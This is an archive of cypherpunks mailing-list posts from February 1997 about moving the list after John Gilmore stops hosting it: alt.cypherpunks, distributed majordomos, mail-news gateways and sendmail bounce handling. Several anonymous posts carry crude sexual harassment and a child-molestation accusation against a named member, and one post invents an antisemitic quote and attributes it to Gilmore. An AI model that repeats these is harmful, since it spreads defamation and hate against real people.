Message-ID: <199702121214.NAA19105@mailhost.pi.net>
MIME-Version: 1.0
Content-Type: text/plain


On 11 Feb 97 at 3:54, John Gilmore wrote:

> I've come to the conclusion that I'm not willing to host the
> cypherpunks list any more.  It's not the true assholes that brought me
> to this decision; it's the reaction from the bulk of people on the
> list: suspicion, flamage, and criticism with every attempt to improve
> things.  I noticed few people volunteering some of their own time,
> money, or machines to help out.  Almost all the suggestions were
> advice for *other* people to implement:


Hm...

In the year 1513 or 1514 someone who could be an Honourable 
Member of this list (if one could be one...) wrote:


> There is nothing more difficult to take in hand, more
> perilous to conduct, or more uncertain in its success,
> than to take the lead in the introduction of a new order
> of things.     <Niccolo Machiavelli, Il Principe>


Please stop at looking too much on how people scream about
your new ideas and continue this list the way you like
it!!!


I think it's Your Machine and we have to respect your
decision to pull the plug, nobody should blame you for
that, but please listen a little to the 1000+ people who
don't scream and are obviously happy with the list and
respected your right to do the "sandy filter experiment".


+++chefren




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lance Cottrell <loki@infonex.com>
Date: Wed, 12 Feb 1997 13:19:36 -0800 (PST)
To: Dale Thorn <paul@fatmans.demon.co.uk>
Subject: Re: New group
In-Reply-To: <199702121600.IAA22395@toad.com>
Message-ID: <v03007804af27e352b717@[206.170.114.18]>
MIME-Version: 1.0
Content-Type: text/plain


I have alt.cypherpunks on my server (all 1 message). I would be happy to
feed that group (and alt.anonymous.messages) to any news server that asks.

	-Lance

At 6:38 AM -0800 2/12/97, Dale Thorn wrote:
>Paul Bradley wrote:
>> Well despite the obvious problems of propogation I thought it was time
>> someone actually did something to get us a new home, even if it`s only
>> temporary. So I have created alt.cypherpunks... See you all over on
>> usenet!...
>
>I pressed the URL alt.cypherpunks and my Netscape server said
>"no such thing" or words to that effect.


----------------------------------------------------------
Lance Cottrell   loki@obscura.com
PGP 2.6 key available by finger or server.
http://www.obscura.com/~loki/

"Love is a snowmobile racing across the tundra.  Suddenly
it flips over, pinning you underneath.  At night the ice
weasels come."
                        --Nietzsche
----------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Wed, 12 Feb 1997 13:18:41 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702122118.NAA22810@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


ISP_Ratings writes:
>   I hate censors Dr. Grubor.  Dave says hate is a destructive 
> emotion but when properly channeled it can be quite valuable.

I didn't exactly say that. Hate is merely an absence of harmony,
and destruction is sometimes appropriate. What I did say was that
the best way to strengthen an enemy is to hate them.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

The King decided to force his subjects to tell the truth. Nasrudin was 
first in line.  They asked him, "Where are you going?  Tell the truth
or be hanged"  "I am going," said Nasrudin, "to be hanged on that gallows."  
"I don't believe you."  "Very well, if I have told a lie, then hang me!" 
"But that would make it the truth!" "Exactly," said Nasrudin, "your truth."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lee Tien <tien@well.com>
Date: Wed, 12 Feb 1997 13:17:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: anonymity and e-cash
Message-ID: <v03010d01af23f7d7467d@[163.176.132.90]>
MIME-Version: 1.0
Content-Type: text/plain


The NSA's research report on e-cash says:

	"The ideal situation (from the point of view of privacy advocates)
is that neither payer nor payee should know the identity of the other. This
makes remote transactions using electronic cash totally anonymous:  no one
knows where Alice spends her money and who pays her.

	"It turns out that this is too much to ask: there is no way in such
a scenario for the consumer to obtain a signed receipt.  Thus we are forced
to settle for payer anonymity."

Keeping in mind I am only a lawyer, my skim of Schneier (2d ed.) didn't
illuminate.  The discussion of digital cash seemed to assume no payee
anonymity.  But the immediate previous section of dining cryptographers
involved (it seemed) recipient untraceability.

Is payee anonymity technically possible?  Under what conditions?

If so, is the issue social, e.g., as NSA notes, the lack of a signed receipt?

Thanks,
Lee






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 12 Feb 1997 12:12:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Germany Versus Scientology
In-Reply-To: <33015976.5514@gte.net>
Message-ID: <JHZ12D7w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:

> Evil se7en wrote:
> > I have posted a rather lengthy story about Germany's war against the
> > Scientologists. It was long enough to preclude mailing it directly to the
> > lists, so I have put it on my web site. You may find it at:
> 
> The L.A. Times ran a very impressive two-page article on this last
> week.  The text compared the current steps by the German govt. to
> the steps taken against Jews by the Nazi govt.
> 
> I happen to believe that Scientologists are dangerous, for how
> quickly they can ruin someone's mental state.  But the article
> is interesting for the comparisons....
> 

"I happen to believe that Jews are dangerous, for how quickly
they can ruin someone's mental state." - John Gilmore

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 12 Feb 1997 12:12:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cypherpunks-related lists on toad.com
In-Reply-To: <3.0.1.32.19970211212158.0067c7a0@popd.ix.netcom.com>
Message-ID: <5iZ12D8w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart <stewarts@ix.netcom.com> writes:

> Hi, John - thanks for supporting and putting up with us all these years.
> How do you feel about continuing support for the cypherpunks-related
> lists that are also on toad.com, coderpunks and cypherpunks-announce?
> 
> I'd guess that if we move the cypherpunks list to another machine,
> rather than mutating it into alt.cypherpunks, the -announce list
> should probably also move once the new list is working.
> 
> 
> #			Thanks;  Bill
> # Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
> # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
> #     (If this is a mailing list, please Cc: me on replies.  Thanks.)
> 

If NoCeMs were used to 'highlight' specific subsets of traffic, there'd
be no need to have separate forums: just let lmmmarcathy (or perry metzger)
highlight cryptorelevant traffic, and let Gilmore (fart) highlight announcemen

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tcmay@got.net (Tim May)
Date: Wed, 12 Feb 1997 13:25:10 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Is "alt.cypherpunks" the best choice?
Message-ID: <199702122116.NAA07232@you.got.net>
MIME-Version: 1.0
Content-Type: text/plain


(A copy of this message has also been posted to the following newsgroups:
alt.cypherpunks)


At 2:49 PM -0600 2/12/97, Igor Chudov @ home wrote:

>It is too late to stop alt.cypherpunks, but if I had to make a
>prediction again, I would predict that soon posters will BEG to help
>them create comp.*.cypherpunks, because of spam and alt.flamage.

Perhaps some will, but I've been a reader of many alt groups for many
years, and have not found them to be unusable. Alt.religion.scientology,
for example, has been a robust forum for discussion (and argument, of
course!) about Scientology.

My fear about using a "well respected" name is that the usual calls for
moderation may end up with it being moderated! And the well respected
domains are often plagued with threats by various participants that
_others_ are being "off topic," with threats to send letters to sysadmins
advising them that one of their users is debating an off-topic subject.

I have a fair amount of respect for Igor, so my comments here should not be
taken the wrong way. To wit, I recall that shortly after the "moderation"
thing began on Cypherpunks@toad.com, Igor called for Sandy to start
blocking "libertarian rants" and "crypto anarchy" discussions, apparently
feeling these are not proper Cypherpunks topics. It could be that a
"sci.crypt.cypherpunks" group, for example, would result in pressures on
sysadmins to discipline those who post "off topic" things.

(Again, I'm not saying Igor himself would do this. But there would be a
temptation for some to do so.)

For me, I can easily scan even a high volume group like
alt.religion.scientology for threads of interest (I use "NewsWatcher YA," a
good Mac-based threaded newsreader, with even support for anonymous
remailers built in). If I can read a.r.s., I can read a.cp without any
trouble.

It works for me.

--Tim May

-- 
Boycott "Big Brother Inside" software!
We got computers, we're tapping phone lines, we know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,  
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets, 
Licensed Ontologist         | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 12 Feb 1997 13:38:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Diffie Hellman signatures
Message-ID: <199702122137.NAA02702@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dead Vomit the self-admitted child molester possesses a
rudimentary dick less than one inch long, half the size of his
mother's clitoris, that barely makes a fistful. Thereby hangs the
root of this Jew-hating sissy's sick fixation on little boys and
Usenet forgeries.

    _   /|
    `o_O'   Dr.Dead Vomit
     ( )
      U






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mfisher@ash.nl (Monica Fisher)
Date: Wed, 12 Feb 1997 04:43:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: please
Message-ID: <3301BAF6.48F4@ash.nl>
MIME-Version: 1.0
Content-Type: text/plain


Please take mfisher@ash.nl off of your mailing list




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@wazoo.com (Anonymous)
Date: Wed, 12 Feb 1997 12:48:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Info please!
Message-ID: <199702122048.NAA05900@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


Dimmy Vagina K<ankersore> Of The Minute is so in love with himself,
he cries out his own name when orgasming. Then again, no one else is
ever around.

   _<_
  (_|_(  Dimmy Vagina K<ankersore> Of The Minute
\-._|_,-,
 `-----'






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 12 Feb 1997 10:57:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: whois cypherpunks.org ?
Message-ID: <1.5.4.32.19970212184941.006e33c4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


On the Ft. Meade addresses for two of the cpunk domains, was there
not a humorous explanation for this posted a couple of years back? 

Dimly remembered: there's a town of Ft. Meade as well as The Mad Fort
itself, or something like that, and that a mail drop would be handy for
swapping useless bits of bs-buffer overflow.

If this is now classified, hit D, Degausse and deodorize your Farradage!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 12 Feb 1997 11:53:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Network of majordomos (fwd)
Message-ID: <199702121959.NAA01855@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: Eric Murray <ericm@lne.com>
> Subject: Re: Network of majordomos (fwd)
> Date: Wed, 12 Feb 1997 09:20:04 -0800 (PST)
> 
> Jim Choate writes:
> > 
> > > From: Greg Broiles <gbroiles@netbox.com>
> > > Subject: Network of majordomos
> > > 
> > > I still think you're just rediscovering Usenet technology. Instead of
> > > installing Majordomo, why not install INN, pass traffic as newsgroup(s) (if
> > > you don't like alt.cypherpunks, you could simply start your own top-level
> > > cpunks group(s)), and leave your NNTP port(s) open (or read-only, if you're
> > > an evil CIA brain-stealing censor) so that cpunks at large could connect with

> > Did you get it running last nite Greg? When do you expect to be able to
> > handle traffic?
> 
> Jim, this sort of petty back-biting is exactly what we DON'T need.

Huh? I just inquired as to whether he had done anything with his suggestion.
Nothing petty or back-biting at all. We've had what 2 days warning? Already
there are 2 majordomo's which are in the process of setting up, we have
a third waiting on name registration and setup, and finaly one that
I haven't heard back on as to the validity of the original offer. I would
very much like to have a mail-to-news gateway involved. If either of you
come online you are welcome to get feeds from SSZ (can't speak for the
other remailer operators). There are already about a dozen test subscribers
on SSZ and ask Igor about algebra.com. I suspect we will have the two
list servers at SSZ and algebra connected within 24-48 hours. Right now
Igor is setting up the cpunks-hosts list for planning and as soon as at
least 1 more person I know of gets on we will be ready to go on the
various mods on the SSZ end.

> I understand how much fun it is to build something new, but Greg
> is correct, Usenet news already does what you want and it isn't any harder
> to set up than Majordomo (I've done both more than once).  I'm willing to
> set up a news server to serve a private (not under Usenet hierarchy)
> cypherpunks hierarchy, as long as I'm not the only one.

So when do you expect to go live? Would you mind clarifying what you mean
by the only one?

> I also think that you and Igor and whoever else should go ahead with
> your distributed Majordomo.  And people with other plans should go through
> with them also.  I don't see the inevitable seperation of
> the list into fragments as being a problem (more like the cross-posting
> between the fragments will be the problem). Eventuallay, as the systems
> evolve and people switch between them one will gain the most readership
> and become the dominant way of propagating "the list".  But the
> information will get out, somehow, no matter what.

It could happen. I don't hold to the 'medium is the message' theme
however. If we can arrange a mail-news feed then the distinction is moot.
Some people don't want to stay up to date and involved, newsgroups are
great for them. Mail lists however offer a more immediate interaction.
Then for the more scholarly we should have archive sites available with
as much of the list/newsgroup traffic as is possible. So far no body has
offered to act as a archive site, any takers?


                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Wed, 12 Feb 1997 12:28:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: List-Managers list info
Message-ID: <01IFBXDRL4FQ9AN99E@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"Majordomo@GreatCircle.COM"  4-AUG-1996 00:00:26.72
To:	IN%"EALLENSMITH@mbcl.rutgers.edu"
CC:	
Subj:	Welcome to list-managers

Welcome to the list-managers mailing list!

Please save this message for future reference.  Thank you.

If you ever want to remove yourself from this mailing list,
you can send mail to <Majordomo@GreatCircle.COM> with the following
command in the body of your email message:

    unsubscribe list-managers EALLENSMITH@mbcl.rutgers.edu

 Here's the general information for the list you've subscribed to,
 in case you don't already have it:

Description
===========
This list is for discussions of issues related to managing Internet
mailing lists, including (but not limited to) methods, mechanisms,
techniques, policies, and software (in general; questions about
specific software packages should be directed to the mailing list
dedicated to that particular package).

Technical questions regarding particular software packages (for
instance, Majordomo, LISTPROC, ListServ, etc.) are NOT appropriate
for the List-Managers mailing list.  They should be directed to the
mailing list dedicated to that particular package (for instance,
for Majordomo, that's Majordomo-Users@GreatCircle.COM).  Check the
documentation that came with the package to find out where the support
list for that package is hosted.

This list is an outgrowth of the "Mailing Lists" workshop session
at the USENIX System Administration Conference (LISA VI) in Long
Beach, CA, on October 22, 1992.

This is the undigestified version of the list.  All messages sent to this
list are immediately forwarded to members of the list.  The digestified
version of the list is List-Managers-Digest@GreatCircle.COM.

Policies
========
You can subscribe a local redistribution list or a gateway to a local
newsgroup, as long as whatever you do is local to your site.  This
restriction makes it much easier for me to track down mailer problems.

I'm very aggressive when it comes to bounced email.  If email to you
starts bouncing, I'll probably drop you from the list fairly quickly;
you'll have to resubscribe when you get the problem fixed, and retrieve
the archives to find out what you missed.

Archives
========
All messages to the list are archived.  The archives are available via
Majordomo using the "get" command (send "help" in the body of a message
to "Majordomo@GreatCircle.COM" for more info), or via anonymous FTP from
host FTP.GreatCircle.COM in directory "pub/list-managers/archive".  The
archives are broken down by year and month, and are stored in files named
"list-managers.YYMM".  The copy of the archive available by anonymous FTP
is updated every night at 2am local time (0900 GMT in the summer, 1000
GMT in the winter).

For further information, contact:

Michael C. Berch
Postmaster and list manager, Great Circle Associates
mcb@greatcircle.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Wed, 12 Feb 1997 11:06:56 -0800 (PST)
To: shamrock@netcom.com
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <01IFBXHQGMCA9AN99E@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"shamrock@netcom.com"  "Lucky Green" 12-FEB-1997 04:22:39.31

>Everybody with a web browser has access to alt newsgroups via
>http://www.dejanews.com/

	A: not all alt newsgroups
	B: not in an anonymous fashion (the anonymizer blocks from
		requesting files from dejanews)
	As someone not currently on USENET, I'd request that _somebody_
put up a bi-directional gateway; I'll put in a request to
list-managers@greatcircle.com for advice & suggestions, and will
suggest that it get cc'd to cypherpunks@toad.com.
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Wed, 12 Feb 1997 11:09:13 -0800 (PST)
To: list-managers@greatcircle.com
Subject: Need a good bi-directional mail-news gateway
Message-ID: <01IFBXLR8Z009AN99E@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


	Hi. The cypherpunks list is going through some major rearrangements,
and it appears that we need a bi-directional mail-news gateway for the new
group alt.cypherpunks and for whatever list(s) come out of the clouds of dust.
(The list(s) in question may be done in a distributed fashion across many
different machines, to lessen volume (1000+ subscribers, 100+ messages a day),
crash vulnerablity, and other problems.) Anybody have experience in running
a _really_ high-volume mail-news gateway (or in running distributed lists)?
Please cc: any replies to cypherpunks@toad.com.
	Thanks,
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Wed, 12 Feb 1997 12:12:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cypherpunks Distributed Remailer (fwd)
Message-ID: <199702122018.OAA01873@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 12 Feb 1997 14:22 EDT
> From: "E. Allen Smith" <EALLENSMITH@ocelot.rutgers.edu>

> 	Umm... because you'll eventually accumulate _lots_ of addresses
> that don't work, which will slow things down tremendously in sending
> mail out?

The current subscription is between 1,000 and 2,000 I don't think that is
_lots_. All we need to do is count the number of bounces per address in
a given period, the SSZ end is trying to decide between weekly or
monthly cleanings, and then clear that address. At no point would I need
to archive the original bounce.

> >I can verify this. If I was not already having to deal with these problem
> >as a current mailing list operator I certainly would not take on the
> >job. It is one of the reasons I STRONGLY suggest anyone serious about this
> >should use the resources to make money as well. Anyone capable of setting up
> >and operating such a remailer system is at least capable of basic skills.
> 
> 	Well, loki@cyberpass.net has made the offer to host the entire
> list... and Lance is certainly making money at it. While this would have
> some problems in comparison with the distributed list idea (namely more of
> a choke point), it would decidedly help.

I certainly hope they get a cpunks address made available. I will certainly
subscribe cpunks@ssz so that the distributed remailer will benefit from 
that input. However, one of the major realizations is that as long as one
anything is involved in the list it is capable of being shutdown at any
time with no warning. It also makes it much easier to compromise. I would
like to see servers in several countries myself.

> >Is anyone interested in acting as a mail-to-news gateway?

Want to volunteer?


                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 12 Feb 1997 12:15:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: List for discussing many majordomos (fwd)
Message-ID: <199702122021.OAA01881@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 11 Feb 1997 22:46:03 -0800
> From: Greg Broiles <gbroiles@netbox.com>
> Subject: List for discussing many majordomos

> Yes, this is a good idea. One of the proponents of the "many majordomos"
> project apparently has plans to impose his own ideas about intellectual
> property on the project, and this seems like a pretty serious thing for a
> setup that's allegedly going to prevent censorship. We need a place to
> discuss this.

Please explain how making submissions de facto public domain censors
anyone?


                                                     Jim Choate
                                                     CyberTects
                                                     ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Wed, 12 Feb 1997 12:22:55 -0800 (PST)
To: ravage@EINSTEIN.ssz.com
Subject: Re: Cypherpunks Distributed Remailer
Message-ID: <01IFBY5GYONI9AN99E@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"ravage@EINSTEIN.ssz.com"  "Jim Choate" 12-FEB-1997 11:59:08.20

>> Date: Tue, 11 Feb 1997 19:18:46 -0600 (CST)
>> From: ichudov@algebra.com
>> Subject: Re: Moderation experiment almost over; "put up or shut up"

>> John Gilmore wrote:
>> > A pentium is definitely up to this task.  I've been running it the
>> > whole time on a slower 40MB SPARCstation-2 (that also runs netnews and
>> > general computing).  Give it a big /var/spool partition (mine is 60MB)
>> > because every message will sit in the queue for days (*somebody* on
>> > the list will have an unreachable name server or MX server until the
>> > msg times out).  Give it lots of RAM and paging space, since each
>> > sendmail process takes about 2MB virtual, 1.4MB physical, and you will
>> > have dozens running at the same time.

>My approach to this problem has been to use a 1G drive and mount the entire
>file system on it. Swap and MS-Dos each get their own partitions. This
>allows the use of the entire drive as a buffer. I am in the process of
>adding another 1G in approx. two weeks with the intent of moving /home off
>the main drive. This not only gives the system more space but the users as
>well. I set swap to 4x main ram. I use Linux and have it as one giant
>partition even though suggested is blocks of 16M, works for me (YMMV). Would
>be minor to monitor df and alarm when it gets to 200M or something.

>I must admit however that I am looking at a faster mbrd. and a bigger hard
>drive in the immediate future to make up for the extra load I expect. Had
>not really planned on the remailer project however...

>> > You'll need a BIG mailbox for the bounce messages, and someone (or
>> > some unwritten software) to scan it every day or two and delete the
>> > lusers whose mailboxes are full or who dumped their account without
>> > unsubscribing.  The bounce mailbox on toad gets between 1 and 4MB of
>> > email a day; more when the list is under attack.

>How about dumping the bounces to /dev/null? I shure don't care if some
>bozo's (other than mine that is) mailbox goes away.

	Umm... because you'll eventually accumulate _lots_ of addresses
that don't work, which will slow things down tremendously in sending
mail out?

>> > The real issue is how willing you are to put your own time into
>> > dealing with problems.  Not only do things go wrong by themselves, but
>> > there are malicious assholes in the world who will deliberately make
>> > trouble for you just because they like to.  Spending a day or two
>> > cleaning up the mess is just part of the job.  Check your level of
>> > committment two or three times before taking on the task -- so you
>> > won't end up getting disgusted after a month or two and putting the
>> > list's existence into crisis again.  It's not a "set it up and forget
>> > it" kind of operation.

>I can verify this. If I was not already having to deal with these problem
>as a current mailing list operator I certainly would not take on the
>job. It is one of the reasons I STRONGLY suggest anyone serious about this
>should use the resources to make money as well. Anyone capable of setting up
>and operating such a remailer system is at least capable of basic skills.

	Well, loki@cyberpass.net has made the offer to host the entire
list... and Lance is certainly making money at it. While this would have
some problems in comparison with the distributed list idea (namely more of
a choke point), it would decidedly help.

>> Another suggestion may be to set sendmail expire option to one day
>> instead of five so that messages that cannot be delivered would bounce
>> faster and not clog the queue.

>I like this idea very much. Myself I would set it for like 4 hours or so and
>if it couldn't be delivered then bye bye. Another motivation for selective
>sites to operate as archives without themselves being remailers.

>Another issue related to this is at what point to unsubscribe accounts. It
>seems to me that if the address times out some number of times it should be
>deleted.

>Is anyone interested in acting as a mail-to-news gateway?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 12 Feb 1997 14:29:23 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Network of majordomos (fwd)
In-Reply-To: <199702121517.JAA01295@einstein>
Message-ID: <3.0.1.32.19970212143303.027b9b20@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 09:17 AM 2/12/97 -0600, Jim Choate wrote:
[quoting me]
>> Usenet technology does exactly what you're describing: it's a distributed
>> database of messages designed to facilitate each server getting its own
copy
>> of every message, and holding it locally for distribution to interested
>> readers. Other people have been kind enough to write, debug, and document
the
>> software - all you have to do is install it. This could be running
tonight. 
>
>Did you get it running last nite Greg? When do you expect to be able to
>handle traffic?

Yes, I installed INN and ran a few hundred test messages through it last
night. My machine will be on the net full-time Thursday or Friday. Will yours
be ready then, too? 

If you need some help setting it up, let me know. It can be a little tricky
if you haven't done it before. 


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--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@wazoo.com (Anonymous)
Date: Wed, 12 Feb 1997 13:35:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [STEGO] e$
Message-ID: <199702122135.OAA07459@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dumbbell L(agging) Viscera K(rud) Of The Moment was delivered by a
vet, like the swine he is.

 v-v-v-@@-v-v-v
      (..)     Dr.Dumbbell L(agging) Viscera K(rud) Of The Moment






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Otto Matic" <ott0matic@hotmail.com>
Date: Wed, 12 Feb 1997 14:41:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: META: Censorship is Going Way too Far
Message-ID: <199702122241.OAA14111@f5.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain


And I was very surprized to see this posting in the flames trash can!!
Tim is just calling the Cypherpunks to task.

Tim, what have you done to deserve such treatment?  What agenda is it that
makes it seem as if the machine hosting this mailing list will be in the wrong
hands?  Like the shadow government?

Sorry they are giving you the Dr. V. treatment!


>From cypherpunks-errors@toad.com Tue Feb 11 05:57:27 1997
>Fellow Cypherpunks (of the virtual community, even if not part of any
>particular version of the list(s)),
Articles are dated:
>
>* 2/7/97, 1:46 p.m. PST
>
>* 2/7/97, 1:59 p.m., PST
>
>* 2/7/97, 3:03 p.m., PST
>
>* 2/7/97, 9:46 p.m., PST 

otto
=-=-=-=-=-
Otto Matic

"Fuckin' A, Miller!"  Bud, Repo Man


---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 12 Feb 1997 12:55:18 -0800 (PST)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
In-Reply-To: <JTX12D2w165w@bwalk.dm.com>
Message-ID: <199702122049.OAA07350@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> "Timothy C. May" <tcmay@got.net> writes:
> > At 1:20 PM -0600 2/11/97, Igor Chudov @ home wrote:
> > >If the people decide for creation of a new USENET newsgroup,
> > >we need to think very hard about actually moving it to a different
> > >hierarchy from alt.*. I would propose comp.org.cypherpunks,
> > >comp.cypherpunks, sci.crypt.cypherpunks or something like that.
> > >
> > >A comp.* or sci.* newsgroup, if created, has the following advantages
> > >over an alt.* newsgroup:
> > >
> > >1) There is usually less spam in sci.* or comp.*
> > >2) There are virtually no completely irrelevant flamewars
> > >3) The propagation will be a lot better
> > >4) More people will be able to read it because of the issue of providers
> > >   not carrying alt.*.
> > >
> > >I see nothing that would make a sci.* or comp.* newsgroup  worse than
> > >alt.* newsgroup.
> > 
> > Sure, and this has come up in every past discussion of creating
> > "alt.cypherpunks."
> > 
> > But the creation of alt.cypherpunks is _easy_, and needs little permission
> > or support, whereas the creation of "soc.culture.cypherpunks" or whatever
> > takes work, requires a vote, blah blah blah. And so it never gets off the
> > ground.
> > 
> > (Nor is it clear to me, and perhaps not to others, that it belongs in the
> > the various places Igor mentioned. Comp.org.cypherpunks probably is the
> > best fit, but then many would cite the "comp" part to try to insist that
> > only _computer_ topics be discussed. Likewise, the "soc" domain would skew
> > discussion...etc. "Alt" has the nice advantage of explicitly not be part of
> > sci, or comp, or soc, or even talk.)
> > 
> (I apologize to everyone whose e-mail has gone unanswered this week - I've
> had a bunch of other stuff to do, but I'll get to it eventually. Also, 
> I posted
> the Anshel+Goldfield zeta function paten number - do check it out.)
> 
> Random thoughts:
> 
> 1. A newsgroup like comp.privacy.cypherpunks will be carried on a lot of
> corprate news servers that don't carry alt.* (or even soc.*). Note that
> soc.org.cypherpunks is inappropriate since cp is *not* an organization. :-)
> Another possibility is sci.crypto.cypherpunks. (True, people whose corporate
> newsservers don't carry soc.* and talk.* can use dejanews - provided their
> firewall lets them.)

> 2. It takes more work to create a comp.* newsgroup than an alt newsgroup.
> It takes a vote. I'm willing to be one of the proponents and generally help
> with the process. (Both I and Igor have been co-proponents of major Usenet
> newsgroups - don't know about other people onthis list. :-)

Not only it takes a vote. What is more important is what a vote gives: 
a good discussion of the newsgroup and the formal RFD/RFD/CFV process
ensures that, on average, a good balance is found between various groups
of readers.

I am not concerned as to what the name of the group will be, it is
not important. What is important is that it should be in a more or
less flame-free zone.

It is too late to stop alt.cypherpunks, but if I had to make a
prediction again, I would predict that soon posters will BEG to help
them create comp.*.cypherpunks, because of spam and alt.flamage.

> 3. An unmoderated Usenet newsgroup would have even ore crap than this mailing
> list. I've been thinking of how to deal with crap, and with the obvious desire
> by some people to delegate their decision what to read and what not to read
> to other people. 

It is alt.* and soc.* that has most crap, sci and comp are way better.

> Most people don't have nocem-enabled newareaders yet... Which is where the
> network of cypherpunks majordomos Igor's been busy creating comes in very
> handy. 
> 

It is a very good idea to let NoCeM issuers and filterers work 
independently from list nodes.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 12 Feb 1997 12:59:49 -0800 (PST)
To: paul@fatmans.demon.co.uk
